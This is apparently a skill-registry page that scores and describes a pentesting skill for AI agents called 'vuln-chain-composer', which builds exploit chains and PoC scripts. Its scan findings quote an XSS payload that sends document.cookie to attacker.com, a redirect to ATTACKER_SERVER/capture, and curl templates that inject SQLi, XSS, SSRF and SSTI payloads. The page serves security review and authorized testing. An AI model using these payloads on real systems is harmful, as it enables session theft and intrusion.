vuln-chain-composer

90 / 100 · Low risk

Fine to try. Some of what it can do is expected: a security skill usually runs scanners and checks websites.

By Orizon-eu/claude-code-pentest (GitHub) · security · 31 stars · scanned at commit f1cf16f

Composes multi-step exploit chains by correlating vulnerabilities across domains, calculates real impact of chained findings, generates end-to-end PoC scripts, and produces bug bounty ready reports. Use when user asks to "chain vulnerabilities", "compose exploit chain", "correlate findings", "calculate real impact", "write bug bounty report", "combine findings", or has multiple vulnerability findings across domains that need strategic analysis. For authorized pentesting and bug bounty only.

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

The author does not mention this. Expected for a security skill.

Found in 6 places.

vuln-chain-composer/SKILL.md, line 27python scripts/import_findings.py --input {findings_dir_or_files}
vuln-chain-composer/SKILL.md, line 40python scripts/correlate.py --findings {normalized_findings}
vuln-chain-composer/SKILL.md, line 68python scripts/build_chains.py --correlations {correlation_data}

Show 3 more

vuln-chain-composer/SKILL.md, line 86python scripts/calculate_impact.py --chains {chains_file}
vuln-chain-composer/SKILL.md, line 108python scripts/generate_chain_poc.py --chain {chain_file}
vuln-chain-composer/SKILL.md, line 125python scripts/generate_report.py --chains {chains_file} --format {platform}

Sends data to these websites: attacker.com, attacker_server

The author does not mention this. Expected for a security skill.

Found in 15 places.

vuln-chain-composer/scripts/build_chains.py, line 80"Payload: <script>fetch('https://attacker.com/exfil?d='+document.cookie)</script>",
vuln-chain-composer/scripts/generate_chain_poc.py, line 41return f"curl -s -k '{url}?{parameter}={inject_payload}'"
vuln-chain-composer/scripts/generate_chain_poc.py, line 43return f"curl -s -k -X POST '{url}' -d '{parameter}={inject_payload}'"

Show 12 more

vuln-chain-composer/scripts/generate_chain_poc.py, line 48return f"curl -s -k '{url}?{parameter}={xss_payload}'"
vuln-chain-composer/scripts/generate_chain_poc.py, line 50return f"curl -s -k -X POST '{url}' -d '{parameter}={xss_payload}'"
vuln-chain-composer/scripts/generate_chain_poc.py, line 55return f"curl -s -k '{url}?{parameter}={ssrf_target}'"
vuln-chain-composer/scripts/generate_chain_poc.py, line 57return f"curl -s -k -X POST '{url}' -d '{parameter}={ssrf_target}'"
vuln-chain-composer/scripts/generate_chain_poc.py, line 63return f"curl -s -k -L '{url}?redirect=https://ATTACKER_SERVER/capture'"
vuln-chain-composer/scripts/generate_chain_poc.py, line 76return f"curl -s -k '{url}' | head -50\n# Or: aws s3 ls s3://BUCKET_NAME --no-sign-request"
vuln-chain-composer/scripts/generate_chain_poc.py, line 80return f"curl -s -k '{url}' -d '{parameter}={ssti_payload}'"
vuln-chain-composer/scripts/generate_chain_poc.py, line 84return f"curl -s -k '{url}'"
vuln-chain-composer/scripts/generate_chain_poc.py, line 86return f"curl -s -k -X POST '{url}' -d '{parameter}={payload or \"test\"}'"
vuln-chain-composer/scripts/generate_chain_poc.py, line 103lines.append('import http.client')
vuln-chain-composer/scripts/generate_chain_poc.py, line 133lines.append(' conn = http.client.HTTPSConnection(host, port, context=CTX, timeout=10)')
vuln-chain-composer/scripts/generate_chain_poc.py, line 135lines.append(' conn = http.client.HTTPConnection(host, port, timeout=10)')

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'vuln-chain-composer' ] || [ -L ~/.agents/skills/'vuln-chain-composer' ]; then echo 'A skill folder named vuln-chain-composer already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/Orizon-eu/claude-code-pentest' "$d" && git -C "$d" checkout --quiet 'f1cf16f691fbc5d87aa6ed421a945f1af3fc7af7' -- 'vuln-chain-composer' && mkdir -p ~/.agents/skills && cp -R "$d"/'vuln-chain-composer' ~/.agents/skills/'vuln-chain-composer' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'vuln-chain-composer' ~/.claude/skills/'vuln-chain-composer' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for Orizon-eu/claude-code-pentest shows the score of its lowest-scoring skill.

SkillTrust badge for Orizon-eu/claude-code-pentest

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/Orizon-eu/claude-code-pentest.svg)](https://zalavijaysinh.github.io/skilltrust/repos/Orizon-eu/claude-code-pentest/)

Score history

Date	Version	Score
2026-11-07	`f1cf16f`	90